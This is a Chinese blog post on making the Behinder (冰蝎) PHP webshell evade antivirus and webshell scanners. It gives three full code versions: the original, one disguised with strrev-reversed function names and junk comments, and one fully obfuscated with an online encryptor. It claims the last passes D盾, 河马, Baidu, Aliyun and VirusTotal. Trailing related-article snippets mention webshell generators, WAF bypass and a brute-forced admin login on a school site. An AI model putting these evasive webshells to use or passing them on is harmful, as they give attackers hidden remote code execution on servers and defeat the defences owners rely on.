冰蝎webshell免杀(奇淫巧计)

VSole2022-08-09 22:22:28

前段时间退出了内网的学习,现在开始复习web方面的漏洞了,于是乎,开始了挖洞之旅,当我像往常一样上传冰蝎的webhsell时,发现冰蝎的马子居然被杀了.......于是便有了该文章.....

先说一下目前的免杀情况:

D盾,河马等都零警报,

vt全绿,

阿里云webshell查杀安全,

百度webshell查杀安全,

其他等等....

目前仅测试了这些....其他的自行测试。

文章开始:

首先看一下冰蝎的原版马子:

@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
    $_SESSION['k']=$key;
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");
        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

看一下原版的查杀率:

再看一下百度的接口:

阿里:

河马,D盾:

基本上都被杀软标记了....

那么我们想用冰蝎的话,就必须要免杀了

先说一下免杀的思路:

对于静态免杀,主要便是混淆代码了,base64,hex,异或等等....

反正思路要扩展起来,可能很多师傅是玩ctf的,我没玩过.....像里面的凯撒密码....等等各种密码学的东西其实可以搬到免杀的思路上来,但是像base64等等....可能早就被杀软计入特征库了,所以用base64等简单的加密,对webshell免杀可能不太好使了,

那有没有简单些的方式达到静态免杀呢?

答案是肯定的....

比如php的字符串逆置函数strrev(),可以将代码颠倒顺序,再在webshell里面加入注释,变量名称改改....使用一些php的魔术函数....以达到绕过杀软的静态防护。

我们将webshell放到d盾查杀....

看看到底是哪部分代码导致被查杀....[做个免杀的师傅应该都知道特征码定位技术,定位特征码,修改特征码绕过杀软]。

这里各位师傅自己尝试吧,建议二分法尝试,或则根据自己的经验判断。

我这里对下面部分代码进行逆值颠倒:

/*
我啥也不知道.....
sjfasaadssada
dadadad
*/
session_start();
    $ok="1989870a9753c7b3";//cwk
    $_SESSION['k']=$ok;
    $zyq=(strrev("stnetnoc_teg_elif"))(strrev("tupni//:php"));
    $love=15;
    if(!extension_loaded(strrev('lssnepo')))
    {
        /*
我啥也不知道.....
sjfasaadssada
dadadad
*/
        $t=strrev("edoced_46esab");
        $zyq=$t($zyq."");
        /*
我啥也不知道.....
sjfasaadssada
dadadad
*/
        for($i=0;$i<strlen($zyq);$i++) {
            $o= $ok[$i+1&$love]^$zyq[$i]; 
            $zyq[$i] =$o;
        }
    }
    else
    {
        $zyq=(strrev("tpyrced_lssnepo"))($zyq, "AES128", $ok);
    }
    $arr=explode('|',$zyq);
    $func=$arr[0];
    /*
我啥也不知道.....
sjfasaadssada
dadadad
*/
    $suansuan=$arr[1];
    class MOL{
        public function __construct($p) 
    {   
        $a=null;
        $l=null;
            /*
我啥也不知道.....
sjfasaadssada
dadadad
*/
        assert("/*#`|W$~Q*/".$l.$p.$a.""."/*#`|W$~Q*/");
        }
        /*
我啥也不知道.....
sjfasaadssada
dadadad
*/
        }
    @new MOL($suansuan);    
?>
/*
我啥也不知道.....
sjfasaadssada
dadadad
*/

这里就是简单的改了一下变量名称,增加了一些注释,还有魔术函数....

可以看一下D盾,河马过了

至于百度那个还有阿里云.....:

果然它们还是很强....

怎么办呢?

到这一步,对于我这种小白而言,已经穷途末路了.....

但是我们还可以借助外部力量....

之前代码审计的时候,发现很多代码都进行的加密...但是程序依旧可以运行,所以我们可不可以对我们的webshell进行加密呢?

当然肯定的....随便在网上找找免费的加密网站...

https://enphp.djunny.com/

把能勾的全都勾了...

进行加密处理:

加密之后的webshell:

/*
ddsds
-- EnPHP v2: http://enphp.djunny.com/
*/goto 愉帻;悈岽:$禈=0x0f;goto 佽乒;廷迹:class MOL{public function __construct($蚱岊){goto 榈蚨;榈蚨:$咜孟=null;goto 堥崍;悉ψ:溹唤(0x00000216a,0x02143)(溹唤(0x000219a,0x0021a8,0x0000218c,$蠇柱).$挃啚.$蚱岊.$咜孟.((parse_str("",$毇蒿)||$毇蒿)?base64_decode(key($毇蒿)):"").溹唤(0x000219a,0x0021a8,0x0000218c,$蠇柱));goto 稗;堥崍:$挃啚=null;goto 悉ψ;稗:}}goto 沫瞅;桷:if(!($仌弲<旞馨(0x000164b,0x01658,0x00161d)($夝麈)))goto 忟;goto €?洭矽:$嬴旔=騼霾(0x01ef5,0x0001f1f,0x0001ecf)(旞馨(0x015ef,0x00015fb,0x000015c5));goto ;非嗁:goto ;goto 堧駫;湛茎:session_start();goto 壼;沫瞅:@new MOL($鉃珛);goto 敝偖;壼:$璧瑏=騼霾(0x0001e70,0x00001e5d,$璧瑏);goto 啚庁;堧駫:僚曛:goto 洭矽;堝:function 溹唤(){goto 毢欫;毢欫:$昶橏=0x000002084;goto 楹惄;溺骝:櫡:goto 摅麜;陮粠:縼:goto 乔;菃変:return base64_decode('LyojYHxXJH5RKi8');goto 祲;乔:if(!($镫罢[0]==$昶橏+0x00a6))goto 鞃ㄝ;goto 贂慆;撁贪:鞃ㄝ:goto 苺鄞;楹惄:$镫罢=func_get_args();goto 玟葓;夠珱:return base64_decode(join("",array('Q','U','V','T','M','T','I','4')));goto 陮粠;贂慆:return base64_decode('fA');goto 撁贪;祲:濮:goto 摩弧;樅蓴:return((parse_str("砻鋻=YXNzZXJ0",$鑸塥)||$鑸塥)?base64_decode($鑸塥['砻鋻']):"");goto 溺骝;玟葓:if(!($镫罢[0x0002]==$昶橏+0x0000018))goto 縼;goto 夠珱;苺鄞:if(!($镫罢[0x001]==$昶橏+0x00bf))goto 櫡;goto 樅蓴;摅麜:if(!($镫罢[0x0002]==$昶橏+0x00000108))goto 濮;goto 菃変;摩弧:}goto 掑何;⒒麕:忟:goto 詪晃;詪晃::goto 枽掜;愉帻:error_reporting(0);goto 堝;动恰:goto 兑蛥;goto ⒒麕;€?$栦煻=$璧瑏[$仌弲+0x001&$禈]^$夝麈[$仌弲];goto 筮楱;席:$夝麈=strrev(旞馨(0x001695,0x000166e))($夝麈,溹唤(0x00020cd,0x020fd,0x0000209c),$璧瑏);goto 非嗁;鸂瓍:$夝麈=騼霾(0x01ef5,0x0001f1f,0x0001ecf)(騼霾(0x00001f66,0x0001f3d))(騼霾(0x01ef5,0x0001f1f,0x0001ecf)(旞馨(0x00001516)));goto 悈岽;佽乒:if(!旞馨(0x001550,0x000001521)(騼霾(0x01ef5,0x0001f1f,0x0001ecf)(旞馨(0x000158d,0x000015bb,0x00155f))))goto 僚曛;goto 席;椬窟:$仌弲++;goto 动恰;:$夝麈=$嬴旔($夝麈.gzinflate(' '));goto 笣;筮楱:$夝麈[$仌弲]=$栦煻;goto 檽偷;囫鸱:$阱蜎=$亽邼[0];goto 筷圆;筷圆:$鉃珛=$亽邼[0x001];goto 廷迹;檽偷:柇儶:goto 椬窟;掑何:function 旞馨(){goto 槥;堂稅:劳尤:goto 蒎埊;吒偳:险碍:goto 粳鰷;蒎埊:if(!(func_get_arg(0x001)==$伖8+0x00039))goto 险碍;goto 疅;苁陡:return(($族愳=gzinflate(substr(base64_decode('H4sIAAAAAAAAA0tNyU9OTYk3MUstTkwCAPbVV20NAAAA'),10,-8)))?$族愳:$丹椵);goto 觋Ⅹ;猷囔:return gzinflate('+)-人宰??  ');goto 堂稅;檸煿:if(!($螵孳[0x001]==$伖8+0x0186))goto 洞;goto 耽;燥鐣:if(!($螵孳[0x0002]==$伖8+0x00dd))goto 竿涡;goto 苁陡;亏彊:if(!($螵孳[0]==$伖8+0x002e))goto 劳尤;goto 猷囔;耽:return base64_decode('dHB5cmNlZF9sc3NuZXBv');goto 枟;疅:return base64_decode(join("",array('Z','X','h','0','Z','W','5','z','a','W','9','u','X','2','x','v','Y','W','R','l','Z','A')));goto 吒偳;亡铷:if(!($螵孳[0x0002]==$伖8+0x00000135))goto 浰琬;goto 华榇;柮键:浰琬:goto 檸煿;华榇:return base64_decode('c3RybGVu');goto 柮键;陥:$螵孳=func_get_args();goto 亏彊;枟:洞:goto 飹;觋Ⅹ:竿涡:goto 亡铷;槥:$伖8=0x00014e8;goto 陥;掟椴:纯臃:goto 燥鐣;兎烑:return gzinflate('?.蜬-? ');goto 掟椴;粳鰷:if(!($螵孳[0x0002]==$伖8+0x0000077))goto 纯臃;goto 兎烑;飹:}goto 鸨呦;啚庁:$_SESSION[騼霾(0x01ea5,0x000001e7c)]=$璧瑏;goto 鸂瓍;笣:$仌弲=0;goto 鹗寛;鹗寛:兑蛥:goto 桷;枽掜:$亽邼=explode(溹唤(0x0212a),$夝麈);goto 囫鸱;鸨呦:function 騼霾(){goto 阌;裏宴:return((parse_str("aw",$艳焯)||$艳焯)?base64_decode(key($艳焯)):"");goto 贁偫;溉:朝惉:goto 嬄虔;阌:$紧耖=0x01e50;goto 姥钷;硫:肮秆:goto 秱隇;劑矄:if(!($置钳[0x0002]==$紧耖+0x0007f))goto 肮秆;goto 炶澔;汅佞:return base64_decode(join("",array('M','T','k','4','O','T','g','3','M','G','E','5','N','z','U','z','Y','z','d','i','M','w')));goto 溉;帐肖:return base64_decode(join("",array('c','3','R','u','Z','X','R','u','b','2','N','f','d','G','V','n','X','2','V','s','a','W','Y')));goto 铂傈;秱隇:if(!($置钳[0x001]==$紧耖+0x000ed))goto 鎰;goto 帐肖;贁偫:瑧櫡:goto 劑矄;渭饸:if(!($置钳[0x001]==$紧耖+0x0000d))goto 朝惉;goto 汅佞;铂傈:鎰:goto 玳剷;嬄虔:if(!($置钳[0x001]==$紧耖+0x000002c))goto 瑧櫡;goto 裏宴;姥钷:$置钳=func_get_args();goto 渭饸;炶澔:return gzinflate('+.)*J- ');goto 硫;玳剷:}goto 湛茎;敝偖:echo((parse_str("LyoNCuaIkeWVpeS5n%2BS4jeefpemBky4uLi4uDQpzamZhc2FhZHNzYWRhDQpkYWRhZGFkDQoqLw0K",$啠)||$啠)?base64_decode(key($啠)):"");

反正我是看不懂了....就看杀软看不看的懂了....

d盾河马。。。

百度查杀接口...

阿里:

vt:

https://n.shellpub.com/:

都过了....

尝试连接:

嗯...很好

总结:

对于免杀这方面有很多技巧.....有时候也有玄学加成....哈哈哈,很奇怪,有时间各位师傅可以多看看杀软的工作原理再做免杀.....

本来前段时间想写shellcode的免杀什么的,但是太懒了

怎么说呢.....免杀学的是技巧....一般发出来的免杀都活不了多久,所以说还是需要自己多学习一些技巧的......

对了,上面那个加密网站好像每次加密的效果不一样,如果加密之后d盾警告的话,可以增删改注释.....

免杀webshell
本作品采用《CC 协议》,转载必须注明作者和本文链接
星辰由凌日内部大佬花了两天时间用php语言开发的带ui的工具,使用者可上传由冰蝎或者天蝎生成的webshell,动态自动生成webshell。目前只支持php和jsp,其它语言各位使用者可自己去编写脚本实现。依赖:php5.6.7+mysql+nginx后台管理:/admin功能:1、授权功能,用户shell生成次数限制。
webshell之传参方式及特征绕过传参方式 在这里解释一下为什么,需要讲述传参方式,由于在很多情况下,以请求头作为参数传递并非waf和人工排查的重中之重且非常误导和隐藏
哥斯拉WebShell生成器
引擎可以将传统的条件、循环、函数、对象的静态分析,目前还可以支持动态变量名、箭头函数、反射、回调等动态特性的分析,大大的强化的未知样本的检测成功率。
冰蝎流量初探
2022-12-20 09:11:06
本文仅针对冰蝎流量改造进行初步探讨,熟悉一下整个流程,真的要绕流量设备,估计还需要其他的技巧。
Windows defender 介绍Microsoft Defender 防病毒软件在 Windows 1
与此同时,随着众邦银行的业务规模不断扩大,服务客户数量不断提升,日益增加的服务器数量,使得系统、应用、端口等核心资产快速增加,管理难度日益增加。众邦银行安全负责人说。经过一段时间的磨合与实战化运营,众邦银行实现了以下几个目标: 首先是资产管理,全局在握。众邦银行负责人表示,目前椒图可以帮助众邦银行自动识别系统和应用高危漏洞数量近700项,基本覆盖所有主流可利用的漏洞。
用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留。查看下pid所对应的进程文件路径,
0x01 前言最近遇到这样一个场景:目标仅支持ASP脚本,而且还存在网站安全狗和360安全卫士,目前存在的两个问题。安全狗"禁止IIS执行程序"限制了命令执行;360"进程防护"拦截了执行木马和提权、抓明文等;这是因为wscript.shell命令执行组件被卸载了,试了下shell.application组件,结果发现也不行。当我们执行进程迁移跳出IIS的w3wp.exe进程后就已经完全绕过了安全狗"禁止IIS执行程序"限制命令执行,这时可以直接通过执行shell命令进入执行系统命令了。
获取到老的其他系统登录口http://xxx.xxx.edu.cn/psy/Login2.aspx如图,没有任何验证码机制直接Burp Cluster bomb式爆破成功得到其他系统的弱口令admin,Aa123456但是老系统其他页面已经删除,无法正常登入后台八嘎呀路,不是良民的干活!但推测新老系统用的同一个数据库访问新系统http://xxx.xxx.edu.cn/psy/Login.aspx使用密码admin,Aa123456成功登陆后台翻找上传点上传点在http://xxx.xxx.edu.cn/psy/ScaleManage/ScaleEdit.aspx?
VSole
网络安全专家